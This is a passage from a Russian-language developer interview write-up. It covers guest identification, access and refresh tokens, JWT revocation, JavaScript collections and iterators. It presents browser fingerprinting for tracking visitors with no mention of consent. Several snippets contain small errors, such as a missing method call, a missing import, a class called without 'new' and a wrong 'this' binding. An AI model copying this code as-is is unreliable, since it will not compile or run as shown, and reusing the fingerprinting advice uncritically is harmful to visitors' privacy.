Ответ собеседния: Неполный. Предложил генерировать уникальный идентификатор на фронтенде при первом визите и сохранять его в cookie, затем отправлять с каждым запросом на сервер. Однако отметил проблему: при очистке cookie или переустановке браузера идентификатор теряется. Не упомянул fingerprinting или другие более надёжные методы.

Правильный ответ:

Идентификация неавторизованных пользователей — распространённая задача для e-commerce, корзин покупок, отслеживания сессий. Существует несколько подходов с разной степенью надёжности.

1. Cookie с уникальным идентификатором (базовый подход)

package main

import (
"crypto/rand"
"encoding/hex"
"net/http"
"time"
)

func generateGuestID() string {
bytes := make([]byte, 16)
rand.Read(bytes)
return hex.EncodeToString(bytes)
}

func guestMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
var guestID string

// Проверяем существующий guest_id
cookie, err := r.Cookie("guest_id")
if err == nil && cookie.Value != "" {
guestID = cookie.Value
} else {
// Генерируем новый guest_id
guestID = generateGuestID()
http.SetCookie(w, &http.Cookie{
Name: "guest_id",
Value: guestID,
Path: "/",
MaxAge: 365 * 24 * 3600, // 1 год
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
})
}

ctx := context.WithValue(r.Context(), "guest_id", guestID)
next.ServeHTTP(w, r.WithContext(ctx))
})
}

// Использование для корзины
func addToCartHandler(w http.ResponseWriter, r *http.Request) {
guestID := r.Context().Value("guest_id").(string)
productID := r.FormValue("product_id")

// Сохраняем товар в корзину по guest_id
db.Exec(
"INSERT INTO cart (guest_id, product_id, quantity) VALUES ($1, $2, 1) "+
"ON CONFLICT (guest_id, product_id) DO UPDATE SET quantity = cart.quantity + 1",
guestID, productID,
)

w.Write([]byte("Added to cart"))
}

Проблема: при очистке cookie, использовании режима инкогнито или другого браузера — идентификатор теряется.

2. LocalStorage + Cookie (двойное хранение)

// Клиентская сторона
function getOrCreateGuestID() {
let guestID = localStorage.getItem('guest_id');

if (!guestID) {
guestID = crypto.randomUUID();
localStorage.setItem('guest_id', guestID);
}

return guestID;
}

// Отправляем в заголовке
fetch('/api/cart', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Guest-ID': getOrCreateGuestID(),
},
body: JSON.stringify({ product_id: 123 }),
});
// Серверная сторона
func getGuestID(r *http.Request) string {
// Сначала проверяем cookie
if cookie, err := r.Cookie("guest_id"); err == nil {
return cookie.Value
}

// Затем заголовок
if guestID := r.Header.Get("X-Guest-ID"); guestID != "" {
return guestID
}

return ""
}

Проблема: LocalStorage очищается вместе с данными сайта, cookie — отдельно. Но оба теряются при полной очистке.

3. Browser Fingerprinting

Более надёжный, но менее точный метод:

import (
"crypto/sha256"
"encoding/hex"
"net/http"
"strings"
)

func generateFingerprint(r *http.Request) string {
// Собираем данные о браузере
components := []string{
r.UserAgent,
r.Header.Get("Accept-Language"),
r.Header.Get("Accept-Encoding"),
r.Header.Get("Accept"),
}

// Добавляем IP (может меняться, но добавляет энтропии)
ip := strings.Split(r.RemoteAddr, ":")[0]
components = append(components, ip)

// Хэшируем
data := strings.Join(components, "|")
hash := sha256.Sum256([]byte(data))
return hex.EncodeToString(hash[:])
}

func fingerprintMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fingerprint := generateFingerprint(r)
ctx := context.WithValue(r.Context(), "fingerprint", fingerprint)
next.ServeHTTP(w, r.WithContext(ctx))
})
}

JavaScript fingerprinting (более точный):

// Используем библиотеку fingerprintjs
import FingerprintJS from '@fingerprintjs/fingerprintjs';

async function getFingerprint() {
const fp = await FingerprintJS.load();
const result = await fp.get();
return result.visitorId; // Уникальный идентификатор на основе характеристик устройства
}

Проблема: fingerprint может совпадать у разных пользователей с одинаковыми устройствами/браузерами. Также меняется при обновлении браузера.

4. Комбинированный подход (рекомендуемый)

type GuestIdentifier struct {
CookieID string
Fingerprint string
Email string // если пользователь ввёл email
}

func identifyGuest(r *http.Request) GuestIdentifier {
var id GuestIdentifier

// Cookie
if cookie, err := r.Cookie("guest_id"); err == nil {
id.CookieID = cookie.Value
}

// Fingerprint
id.Fingerprint = generateFingerprint(r)

return id
}

// Мержинг корзин при регистрации/логине
func mergeCarts(tx *sql.Tx, guestID string, userID int) error {
// Переносим товары из гостевой корзины в пользовательскую
_, err := tx.Exec(`
INSERT INTO cart (user_id, product_id, quantity)
SELECT $1, product_id, quantity
FROM cart
WHERE guest_id = $2
ON CONFLICT (user_id, product_id)
DO UPDATE SET quantity = cart.quantity + EXCLUDED.quantity
`, userID, guestID)

// Удаляем гостевую корзину
tx.Exec("DELETE FROM cart WHERE guest_id = $1", guestID)

return err
}

5. Мержинг данных при регистрации

Критически важный момент — сохранение данных при переходе от гостя к пользователю:

func registerHandler(w http.ResponseWriter, r *http.Request) {
email := r.FormValue("email")
password := r.FormValue("password")

// Создаём пользователя
userID, err := createUser(email, password)
if err != nil {
http.Error(w, "Registration failed", http.StatusInternalServerError)
return
}

// Мержим корзину
guestCookie, err := r.Cookie("guest_id")
if err == nil {
tx, _ := db.Begin()
mergeCarts(tx, guestCookie.Value, userID)
tx.Commit()
}

// Создаём сессию
sessionID := store.Create(userID, email)
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionID,
HttpOnly: true,
Secure: true,
MaxAge: 24 * 3600,
})

w.Write([]byte("Registered"))
}

Сравнение подходов:

ПодходНадёжностьСложностьОграничения
CookieСредняяНизкаяОчистка cookie
LocalStorage + CookieСредняяНизкаяОчистка данных
FingerprintВысокаяСредняяСовпадения у похожих устройств
КомбинированныйВысокаяВысокаяСложность реализации

Рекомендация:

Для e-commerce оптимальный подход:

  • Cookie с долгим сроком (1 год) как основной идентификатор
  • Мержинг корзины при регистрации/логине
  • Запрос email на этапе оформления заказа (для восстановления корзины через ссылку в письме)
  • Уведомление пользователя: «Создайте аккаунт, чтобы сохранить корзину»

Таймкод: 00:24:57

Ответ собеседника: Неполный. Не смог чётко ответить. Предположил, что access токен может быть не нужен, так как сервер может валидировать refresh токен из cookie. Однако не объяснил ключевые различия: access токен используется для авторизации и имеет короткое время жизни, а refresh — только для обновления пары. При уточнении, что refresh не должен отправляться с каждым запросом, согласился, но не развил мысль.

Правильный ответ:

Access токен всё ещё нужен. Эти токены выполняют разные функции, и их разделение — это осознанное архитектурное решение для безопасности.

Различия между access и refresh токенами:

КритерийAccess TokenRefresh Token
НазначениеАвторизация запросовПолучение новой пары токенов
Время жизни5–15 минутДни/недели
ОтправкаКаждый запросТолько на /refresh
ХранениеПамять JShttpOnly cookie
ПроверкаПодпись (stateless)Подпись + БД (stateful)
УтечкаКраткосрочный ущербДолгосрочный ущерб

Почему нельзя использовать только refresh token:

1. Безопасность при утечке

Если refresh token отправляется с каждым запросом — он чаще передаётся по сети, что увеличивает риск перехвата:

С access + refresh (правильно):
- Access утёк → действителен 15 минут
- Refresh утёк → можно отозвать на сервере

Только refresh (неправильно):
- Refresh утёк → злоумышленник получает доступ на дни/недели
- Нельзя быстро ограничить ущерб

2. Производительность

Access token (JWT) проверяется stateless — только подпись:

// Быстрая проверка access token (stateless)
func validateAccessToken(token string) (*Claims, error) {
return jwt.ParseWithClaims(token, &Claims{}, func(t *jwt.Token) (interface{}, error) {
return secret, nil // Только проверка подписи
})
}

Refresh token требует проверки в базе данных:

// Медленная проверка refresh token (stateful)
func validateRefreshToken(token string) (*RefreshClaims, error) {
claims, err := jwt.ParseWithClaims(token, &RefreshClaims{}, keyFunc)
if err != nil {
return nil, err
}

// Запрос к БД на каждый запрос — узкое место!
var stored RefreshToken
err = db.QueryRow("SELECT * FROM refresh_tokens WHERE id = $1 AND revoked = false", claims.ID).
Scan(&stored.ID, &stored.UserID, &stored.ExpiresAt, &stored.Revoked)
if err != nil {
return nil, err
}

return claims, nil
}

Если использовать refresh token для каждого запроса — каждый запрос требует обращения к БД, что убивает производительность.

3. Принцип наименьших привилегий

Access token содержит минимально необходимую информацию для авторизации. Refresh token — более «мощный», он может генерировать новые токены. Чем реже он используется — тем безопаснее.

Правильная архитектура:

Клиент Сервер
| |
|--- API Request -------------->| (access token в заголовке)
| Authorization: Bearer xxx |
| |
|<-- 401 (access истёк) --------|
| |
|--- POST /api/auth/refresh --->| (refresh token в cookie)
| Cookie: refresh_token=yyy |
| |
|<-- { access_token: "new" } ---|
| |
|--- API Request -------------->| (новый access token)
| Authorization: Bearer new |
| |
|<-- 200 OK + data -------------|

Реализация на Go:

// Middleware для проверки access token (stateless, быстро)
func accessAuthMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
tokenString := extractBearerToken(r)
if tokenString == "" {
http.Error(w, "Missing token", http.StatusUnauthorized)
return
}

claims, err := validateAccessToken(tokenString)
if err != nil {
http.Error(w, "Invalid token", http.StatusUnauthorized)
return
}

ctx := context.WithValue(r.Context(), "user_id", claims.UserID)
ctx = context.WithValue(ctx, "role", claims.Role)
next.ServeHTTP(w, r.WithContext(ctx))
})
}

// Endpoint refresh (stateful, редко вызывается)
func refreshHandler(w http.ResponseWriter, r *http.Request) {
// Refresh token приходит только в cookie
cookie, err := r.Cookie("refresh_token")
if err != nil {
http.Error(w, "No refresh token", http.StatusUnauthorized)
return
}

// Проверка в БД
storedToken, err := getRefreshTokenFromDB(cookie.Value)
if err != nil || storedToken.Revoked {
http.Error(w, "Invalid refresh token", http.StatusUnauthorized)
return
}

// Генерация нового access token (stateless)
newAccessToken, _ := generateAccessToken(storedToken.UserID)

// Rotation: новый refresh token
newRefreshToken, _ := generateRefreshToken(storedToken.UserID)
revokeRefreshToken(storedToken.ID)
saveRefreshToken(storedToken.UserID, newRefreshToken)

// Устанавливаем новый refresh token в cookie
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: newRefreshToken,
Path: "/api/auth",
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteStrictMode,
MaxAge: 7 * 24 * 3600,
})

// Access token возвращаем в теле
json.NewEncoder(w).Encode(map[string]string{
"access_token": newAccessToken,
})
}

Итог:

Access и refresh токены не дублируют друг друга, а дополняют:

  • Access token — для частых, быстрых, stateless-проверок
  • Refresh token — для редких, безопасных, stateful-обновлений

Использование только refresh token для всех запросов — это антипаттерн, который снижает безопасность и производительность.

Таймкод: 00:26:23

Ответ собеседника: Неполный. Предположил, что при логауте можно удалить cookie на сервере и при следующем логине выдаётся новый токен. Однако не решил проблему одновременного существования старого украденного и нового валидных токенов. Не упомянул механизм token rotation или хранение в БД информации о последнем выданном токене.

Правильный ответ:

Да, refresh токен можно инвалидировать, но для этого сервер должен хранить информацию о выданных токенах. Это делает refresh tokens stateful, в отличие от access tokens.

Механизмы инвалидации refresh токенов:

1. Blacklist в базе данных (Token Revocation)

package main

import (
"database/sql"
"time"
)

type RefreshToken struct {
ID string `db:"id"`
UserID int `db:"user_id"`
TokenHash string `db:"token_hash"` // Хэш токена, не сам токен
ExpiresAt time.Time `db:"expires_at"`
Revoked bool `db:"revoked"`
CreatedAt time.Time `db:"created_at"`
FamilyID string `db:"family_id"` // Для обнаружения reuse
}

type TokenStore struct {
db *sql.DB
}

// Сохранение нового refresh token
func (s *TokenStore) SaveToken(userID int, tokenID string, familyID string, expiresAt time.Time) error {
tokenHash := hashToken(tokenID)

_, err := s.db.Exec(`
INSERT INTO refresh_tokens (id, user_id, token_hash, family_id, expires_at, revoked)
VALUES ($1, $2, $3, $4, $5, false)
`, tokenID, userID, tokenHash, familyID, expiresAt)

return err
}

// Проверка и отзыв токена
func (s *TokenStore) ValidateAndRotate(oldTokenID string, userID int) (bool, string, error) {
tx, err := s.db.Begin()
if err != nil {
return false, "", err
}
defer tx.Rollback()

// Ищем токен
var stored RefreshToken
err = tx.QueryRow(`
SELECT id, user_id, revoked, family_id FROM refresh_tokens
WHERE id = $1 AND user_id = $2
`, oldTokenID, userID).Scan(&stored.ID, &stored.UserID, &stored.Revoked, &stored.FamilyID)

if err != nil {
return false, "", err
}

// Токен уже отозван — возможная атака!
if stored.Revoked {
// Отзываем ВСЕ токены в этой семье
tx.Exec("UPDATE refresh_tokens SET revoked = true WHERE family_id = $1", stored.FamilyID)
tx.Commit()

// Логируем инцидент безопасности
logSecurityEvent("refresh_token_reuse_detected", userID, oldTokenID)

return false, "", ErrTokenReuseDetected
}

// Отзываем старый токен
tx.Exec("UPDATE refresh_tokens SET revoked = true WHERE id = $1", oldTokenID)

// Генерируем новый токен в той же семье
newTokenID := generateTokenID()
newExpiresAt := time.Now().Add(7 * 24 * time.Hour)
tx.Exec(`
INSERT INTO refresh_tokens (id, user_id, token_hash, family_id, expires_at, revoked)
VALUES ($1, $2, $3, $4, $5, false)
`, newTokenID, userID, hashToken(newTokenID), stored.FamilyID, newExpiresAt)

tx.Commit()
return true, newTokenID, nil
}

// Отзыв всех токенов пользователя (при смене пароля, логаут со всех устройств)
func (s *TokenStore) RevokeAllUserTokens(userID int) error {
_, err := s.db.Exec("UPDATE refresh_tokens SET revoked = true WHERE user_id = $1", userID)
return err
}

Структура таблицы в базе данных:

CREATE TABLE refresh_tokens (
id VARCHAR(64) PRIMARY KEY,
user_id INTEGER NOT NULL REFERENCES users(id),
token_hash VARCHAR(128) NOT NULL,
family_id VARCHAR(64) NOT NULL,
expires_at TIMESTAMP NOT NULL,
revoked BOOLEAN DEFAULT FALSE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
ip_address INET,
user_agent TEXT
);

CREATE INDEX idx_refresh_tokens_user_id ON refresh_tokens(user_id);
CREATE INDEX idx_refresh_tokens_family_id ON refresh_tokens(family_id);
CREATE INDEX idx_refresh_tokens_expires_at ON refresh_tokens(expires_at);

-- Периодическая очистка истёкших токенов
-- DELETE FROM refresh_tokens WHERE expires_at < NOW() - INTERVAL '30 days';

2. Token Rotation с обнаружением повторного использования

Это ключевой механизм безопасности. При каждом обновлении старый токен отзывается, а если кто-то попытается использовать уже отозванный — это признак кражи:

func refreshHandler(w http.ResponseWriter, r *http.Request) {
// Получаем refresh token из cookie
cookie, err := r.Cookie("refresh_token")
if err != nil {
http.Error(w, "No refresh token", http.StatusUnauthorized)
return
}

// Валидация JWT (подпись, срок)
claims, err := validateRefreshTokenJWT(cookie.Value)
if err != nil {
http.Error(w, "Invalid refresh token", http.StatusUnauthorized)
return
}

// Проверка в БД и rotation
valid, newTokenID, err := tokenStore.ValidateAndRotate(claims.ID, claims.UserID)

if err == ErrTokenReuseDetected {
// Критическая ситуация: токен был использован повторно
// Все токены семьи уже отозваны в ValidateAndRotate

// Уведомляем пользователя
notifyUserOfSuspiciousActivity(claims.UserID)

http.Error(w, "Security violation detected", http.StatusUnauthorized)
return
}

if !valid {
http.Error(w, "Token revoked", http.StatusUnauthorized)
return
}

// Генерируем новый access token
newAccessToken, _ := generateAccessToken(claims.UserID, claims.Role)

// Устанавливаем новый refresh token
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: newTokenID,
Path: "/api/auth",
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteStrictMode,
MaxAge: 7 * 24 * 3600,
})

json.NewEncoder(w).Encode(map[string]string{
"access_token": newAccessToken,
})
}

Сценарий обнаружения кражи:

Временная шкала:
─────────────────────────────────────────────────────

1. Легитимный пользователь имеет refresh token A
2. Злоумышленник крадёт token A (XSS, MITM)
3. Легитимный пользователь обновляет → получает token B
(token A отзывается)
4. Злоумышленник пытается использовать token A
→ Сервер видит, что token A уже отозван
→ Отзывает ВСЕ токены семьи (включая token B)
→ Логирует инцидент
→ Оба пользователя должны перелогиниться

3. Полный логаут со всех устройств:

func logoutAllDevicesHandler(w http.ResponseWriter, r *http.Request) {
userID := r.Context().Value("user_id").(int)

// Отзываем ВСЕ refresh tokens пользователя
err := tokenStore.RevokeAllUserTokens(userID)
if err != nil {
http.Error(w, "Logout failed", http.StatusInternalServerError)
return
}

// Очищаем cookie
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: "",
Path: "/api/auth",
MaxAge: -1, // Удаление cookie
HttpOnly: true,
Secure: true,
})

w.Write([]byte("Logged out from all devices"))
}

4. Отзыв при смене пароля:

func changePasswordHandler(w http.ResponseWriter, r *http.Request) {
userID := r.Context().Value("user_id").(int)
currentPassword := r.FormValue("current_password")
newPassword := r.FormValue("new_password")

// Проверяем текущий пароль
if !verifyPassword(userID, currentPassword) {
http.Error(w, "Invalid current password", http.StatusUnauthorized)
return
}

// Меняем пароль
updatePassword(userID, newPassword)

// Отзываем ВСЕ refresh tokens — все устройства должны перелогиниться
tokenStore.RevokeAllUserTokens(userID)

// Создаём новую пару токенов для текущего устройства
accessToken, _ := generateAccessToken(userID, "user")
refreshToken, _ := generateRefreshToken(userID)

setRefreshTokenCookie(w, refreshToken)

json.NewEncoder(w).Encode(map[string]string{
"access_token": accessToken,
})
}

Итог:

Refresh токены можно инвалидировать через:

  • Хранение в БД с флагом revoked
  • Token rotation с обнаружением повторного использования
  • Отзыв всех токенов пользователя при критических событиях
  • Семейства токенов для обнаружения утечек

Это делает refresh tokens stateful, но это необходимая цена за безопасность. Access tokens остаются stateless — их короткое время жизни компенсирует невозможность мгновенного отзыва.

Вопрос 19. Почему JWT изначально создавался как бессессионная авторизация, но со временем появилась необходимость инвалидации токенов и это привело к гибридному подходу?

Таймкод: 00:29:30

Ответ собеседника: Правильный. JWT изначально задуман как бессессионный — токен самодостаточен и не связан с сервером. Но появилась потребность в инвалидации (логаут, кража токена). Для стали хранить в БД секретную строку или информацию о валидности токена, что фактически вернуло сессионный подход — получился гибрид.

Правильный ответ:

Ответ собеседника корректен. Ниже приведено более детальное описание эволюции подходов.

Идея JWT (2010–2015):

JWT был создан для решения проблемы масштабируемости сессий. Основные преимущества stateless-подхода:

Традиционные сессии:
Запрос → Сервер → Запрос к Redis/БД → Ответ
(каждый запрос требует обращения к хранилищу)

JWT:
Запрос → Сервер → Проверка подписи → Ответ
(никаких внешних запросов)

Проблемы, которые решал JWT:

  • Масштабирование — не нужна общая хранилище сессий между серверами
  • Микросервисы — каждый сервис может самостоятельно проверить токен
  • Производительность — нет запросов к БД на каждый запрос
  • CORS — не нужны cookies, можно использовать заголовки

Почему stateless оказался недостаточным:

1. Невозможность мгновенного отзыва

// Проблема: JWT действителен до истечения exp
// Даже если пользователь заблокирован или сменил пароль

func banUser(userID int) {
db.Exec("UPDATE users SET banned = true WHERE id = $1", userID)
// Но JWT этого пользователя ещё действителен!
// Нет способа инвалидировать конкретный токен
}

// Проверка JWT не знает о блокировке
func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
claims, err := validateToken(r)
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}

// Токен валиден, но пользователь может быть заблокирован!
// Нужен запрос к БД... и вот мы вернулись к stateful

next.ServeHTTP(w, r)
})
}

2. Безопасность при утечке

Если JWT украден, злоумышленник может использовать его до истечения срока (обычно 15 минут — 1 час). Нет способа отозвать конкретный токен.

3. Требования бизнес-логики

  • Логаут должен работать мгновенно
  • Смена пароля должна инвалидировать все сессии
  • Блокировка пользователя должна быть немедленной
  • Администратор должен иметь возможность завершить сессию

Эволюция к гибридному подходу:

Фаза 1: Чистый JWT (stateless)

// Только проверка подписи и срока
func validateToken(token string) (*Claims, error) {
return jwt.ParseWithClaims(token, &Claims{}, func(t *jwt.Token) (interface{}, error) {
return secret, nil
})
}

Фаза 2: JWT + Blacklist в Redis

func validateToken(token string) (*Claims, error) {
claims, err := jwt.ParseWithClaims(token, &Claims{}, keyFunc)
if err != nil {
return nil, err
}

// Проверка в blacklist
exists, _ := redisClient.Exists(ctx, "blacklist:"+claims.ID).Result()
if exists > 0 {
return nil, errors.New("token revoked")
}

return claims, nil
}

func revokeToken(jti string, expiresAt time.Time) {
ttl := time.Until(expiresAt)
redisClient.Set(ctx, "blacklist:"+jti, "1", ttl)
}

Фаза 3: JWT + Refresh Token Rotation (гибрид)

// Access token — короткоживущий, stateless
type AccessClaims struct {
UserID int `json:"user_id"`
Role string `json:"role"`
jwt.RegisteredClaims
}

// Refresh token — долгоживущий, stateful
type RefreshClaims struct {
UserID int `json:"user_id"`
FamilyID string `json:"family_id"`
jwt.RegisteredClaims
}

// Access проверяется stateless
func validateAccessToken(token string) (*AccessClaims, error) {
return jwt.ParseWithClaims(token, &AccessClaims{}, keyFunc)
}

// Refresh проверяется в БД
func validateRefreshToken(token string) (*RefreshClaims, error) {
claims, err := jwt.ParseWithClaims(token, &RefreshClaims{}, keyFunc)
if err != nil {
return nil, err
}

// Проверка в БД
var revoked bool
db.QueryRow("SELECT revoked FROM refresh_tokens WHERE id = $1", claims.ID).Scan(&revoked)
if revoked {
return nil, errors.New("token revoked")
}

return claims, nil
}

Сравнение подходов:

ПодходStatelessОтзывПроизводительностьСложность
Чистый JWTДаНетВысокаяНизкая
JWT + BlacklistЧастичноДаСредняяСредняя
JWT + RotationЧастичноДаВысокаяВысокая
СессииНетДаНизкаяНизкая

Когда чистый JWT подходит:

  • Микросервисы с коротким сроком жизни токена (1–5 минут)
  • Внутренние сервисы, где утечка маловероятна
  • Одноразовые токены (email verification, password reset)
  • Публичные API с rate limiting вместо отзыва

Когда нужен гибрид:

  • Пользовательские сессии с возможностью логаут
  • Требования безопасности (мгновенный отзыв)
  • Долгоживущие приложения (мобильные приложения)
  • Системы с административным управлением сессиями

Итог:

JWT не стал «плохим» — он просто используется не так, как изначально задумывался. Современный подход — это гибрид: stateless access tokens для производительности и stateful refresh tokens для безопасности. Это не возврат к сессиям, а разумное сочетание двух подходов.

Вопрос 20. Чем отличаются Set, Map, WeakMap и WeakSet в JavaScript?

Таймкод: 00:30:52

Ответ собеседника: Правильный. Set — коллекция уникальных элементов. Map — коллекция пар ключ-значение, где ключом может быть любой тип данных (в отличие от объекта, где только строка или символ), имеет методы get, set и т.д. WeakMap и WeakSet хранят слабые ссылки на объекты — ключом может быть только объект, и если на объект нет других ссылок, сборщик мусора удалит его. Нельзя итерировать по WeakMap из-за особенностей работы со слабыми ссылками.

Правильный ответ:

Ответ собеседника корректен. Ниже приведено более детальное описание с примерами.

Set — коллекция уникальных значений:

const set = new Set();

// Добавление элементов
set.add(1);
set.add('hello');
set.add({ id: 1 });
set.add(1); // Дубликат — проигнорирован

console.log(set.size); // 3

// Проверка наличия
console.log(set.has(1)); // true

// Удаление
set.delete(1);

// Итерация
for (const item of set) {
console.log(item);
}

// Полезные случаи использования
const array = [1, 2, 2, 3, 3, 4];
const unique = [...new Set(array)]; // [1, 2, 3, 4]

// Операции над множествами
const a = new Set([1, 2, 3]);
const b = new Set([2, 3, 4]);

// Пересечение
const intersection = new Set([...a].filter(x => b.has(x))); // {2, 3}

// Разность
const difference = new Set([...a].filter(x => !b.has(x))); // {1}

// Объединение
const union = new Set([...a, ...b]); // {1, 2, 3, 4}

Map — коллекция пар ключ-значение:

const map = new Map();

// Ключом может быть любой тип
map.set('string', 'value');
map.set(42, 'number key');
map.set({ id: 1 }, 'object key');
map.set(function() {}, 'function key');

// Получение значения
console.log(map.get('string')); // 'value'

// Проверка наличия
console.log(map.has(42)); // true

// Размер
console.log(map.size); // 4

// Удаление
map.delete('string');

// Итерация
for (const [key, value] of map) {
console.log(key, value);
}

// Отличие от обычного объекта:
const obj = {};
const key1 = { id: 1 };
const key2 = { id: 2 };

obj[key1] = 'first'; // Ключ преобразуется в строку "[object Object]"
obj[key2] = 'second'; // Перезаписывает key1!

const map2 = new Map();
map2.set(key1, 'first'); // Разные ключи — разные объекты
map2.set(key2, 'second');
console.log(map2.size); // 2

WeakSet — Set со слабыми ссылками:

const weakSet = new WeakSet();

let obj1 = { id: 1 };
let obj2 = { id: 2 };

weakSet.add(obj1);
weakSet.add(obj2);

console.log(weakSet.has(obj1)); // true

// Удаление объекта — сборщик мусора может удалить его из WeakSet
obj1 = null;

// Ограничения:
// weakSet.size — нет свойства size
// weakSet.forEach() — нет итерации
// weakSet.keys() — нет метода
// Только объекты в качестве значений

// Практическое применение — пометка объектов
const processedObjects = new WeakSet();

function process(obj) {
if (processedObjects.has(obj)) {
return; // Уже обработан
}

// Обработка...
processedObjects.add(obj);
}

WeakMap — Map со слабыми ссылками:

const weakMap = new WeakMap();

let element = document.getElementById('myElement');

// Хранение приватных данных для DOM-элемента
weakMap.set(element, {
clickCount: 0,
lastClick: null
});

// Получение данных
const data = weakMap.get(element);
data.clickCount++;

// При удалении элемента из DOM — данные автоматически удаляются
element = null; // Сборщик мусора удалит и запись в WeakMap

// Практическое применение — приватные свойства классов
const privateData = new WeakMap();

class User {
constructor(name, password) {
this.name = name;
privateData.set(this, { password });
}

getPassword() {
return privateData.get(this).password;
}
}

const user = new User('John', 'secret123');
console.log(user.password); // undefined — нет доступа
console.log(user.getPassword()); // 'secret123'

Сравнительная таблица:

ХарактеристикаSetMapWeakSetWeakMap
Тип значенийЛюбойЛюбойТолько объектыКлюч — объект
Тип ключейЛюбойТолько объекты
ИтерацияДаДаНетНет
Размер (.size)ДаДаНетНет
Очистка (.clear())ДаДаНетНет
Слабые ссылкиНетНетДаДа
GC может удалитьНетНетДаДа

Когда использовать:

  • Set — уникальные значения, операции над множествами
  • Map — ключи любого типа, частая итерация, нужен размер
  • WeakSet — пометка объектов без утечек памяти
  • WeakMap — приватные данные, метаданные для объектов, кэширование без утечек

Вопрос 21. Можно ли создать свою структуру данных, по которой можно итерировать, и что для этого нужно?

Таймкод: 00:33:24

Ответ собеседника: Правильный. Да, можно создать итерируемый объект с помощью Symbol.iterator. Нужно задать метод next, который возвращает объект с полями value и done.

Правильный ответ:

Ответ собеседника корректен. Ниже приведено более детальное описание с примерами.

Протокол итератора в JavaScript:

Для создания итерируемого объекта нужно реализовать протокол итератора:

  1. Метод [Symbol.iterator]() — возвращает объект с методом next()
  2. Метод next() — возвращает объект { value, done }

Простой пример — диапазон чисел:

class Range {
constructor(start, end) {
this.start = start;
this.end = end;
}

[Symbol.iterator]() {
let current = this.start;
const end = this.end;

return {
next() {
if (current <= end) {
return { value: current++, done: false };
}
return { value: undefined, done: true };
}
};
}
}

// Использование
const range = new Range(1, 5);

for (const num of range) {
console.log(num); // 1, 2, 3, 4, 5
}

// Spread оператор
console.log([...Range(1, 3)]); // [1, 2, 3]

// Деструктуризация
const [first, second] = new Range(10, 20);
console.log(first, second); // 10, 11

Итератор и итерируемый — разные вещи:

// Итератор — объект с методом next()
const iterator = {
next() {
return { value: 1, done: false };
}
};

// Итерируемый — объект с методом [Symbol.iterator]()
const iterable = {
[Symbol.iterator]() {
return {
next() {
return { value: 1, done: false };
}
};
}
};

Практический пример — стек с итератором:

class Stack {
constructor() {
this.items = [];
}

push(item) {
this.items.push(item);
}

pop() {
return this.items.pop();
}

// Итерация от вершины к основанию
[Symbol.iterator]() {
let index = this.items.length - 1;
const items = this.items;

return {
next() {
if (index >= 0) {
return { value: items[index--], done: false };
}
return { value: undefined, done: true };
}
};
}

// Отдельный итератор для обратного порядка
reverse() {
let index = 0;
const items = this.items;

return {
[Symbol.iterator]() {
return this;
},
next() {
if (index < items.length) {
return { value: items[index++], done: false };
}
return { value: undefined, done: true };
}
};
}
}

const stack = new Stack();
stack.push('first');
stack.push('second');
stack.push('third');

// Итерация от вершины (LIFO)
for (const item of stack) {
console.log(item); // third, second, first
}

Бесконечный итератор — генератор Фибоначчи:

class Fibonacci {
[Symbol.iterator]() {
let prev = 0;
let curr = 1;

return {
next() {
const value = prev;
[prev, curr] = [curr, prev + curr];
return { value, done: false }; // Никогда не done
}
};
}
}

// Использование с ограничением
const fib = new Fibonacci();
let count = 0;

for (const num of fib) {
if (count++ >= 10) break;
console.log(num);
}
// 0, 1, 1, 2, 3, 5, 8, 13, 21, 34

Генераторы — более простой способ:

Генераторы — это синтаксический сахар для создания итераторов:

class Range {
constructor(start, end) {
this.start = start;
this.end = end;
}

// Генератор вместо ручного итератора
*[Symbol.iterator]() {
for (let i = this.start; i <= this.end; i++) {
yield i;
}
}
}

// Или просто функция-генератор
function* fibonacci() {
let prev = 0;
let curr = 1;

while (true) {
yield prev;
[prev, curr] = [curr, prev + curr];
}
}

const fib = fibonacci();
console.log(fib.next()); // { value: 0, done: false }
console.log(fib.next()); // { value: 1, done: false }
console.log(fib.next()); // { value: 1, done: false }

Возможность раннего завершения:

Итератор может поддерживать метод return() для очистки ресурсов:

class DatabaseCursor {
constructor(query) {
this.query = query;
this.connection = null;
}

[Symbol.iterator]() {
let index = 0;
const results = this.fetchResults();

return {
next() {
if (index < results.length) {
return { value: results[index++], done: false };
}
return { value: undefined, done: true };
},
// Вызывается при досрочном выходе из цикла
return() {
console.log('Cleaning up resources...');
this.closeConnection();
return { value: undefined, done: true };
}
};
}

fetchResults() {
// Загрузка данных...
return [1, 2, 3, 4, 5];
}

closeConnection() {
// Закрытие соединения с БД
}
}

// При досрочном выходе вызывается return()
const cursor = new DatabaseCursor('SELECT * FROM users');
for (const row of cursor) {
if (row === 3) break; // return() будет вызван
}

Итерация нескольких коллекций:

class Zip {
constructor(...iterables) {
this.iterables = iterables;
}

*[Symbol.iterator]() {
const iterators = this.iterables.map(it => it[Symbol.iterator]());

while (true) {
const results = iterators.map(it => it.next());

if (results.some(r => r.done)) break;

yield results.map(r => r.value);
}
}
}

const numbers = [1, 2, 3];
const letters = ['a', 'b', 'c'];

for (const [num, letter] of new Zip(numbers, letters)) {
console.log(num, letter);
}
// 1 a
// 2 b
// 3 c

Итог:

Для создания итерируемой структуры данных нужно:

  1. Реализовать метод [Symbol.iterator](), возвращающий объект с next()
  2. next() должен возвращать { value, done }
  3. Для очистки ресурсов можно добавить метод return()
  4. Для упрощения можно использовать генераторы (function* и yield)

Вопрос 22. Что такое промисы, какие состояния они имеют и чем async/await отличается от обычных промисов?

Таймкод: 00:34:19

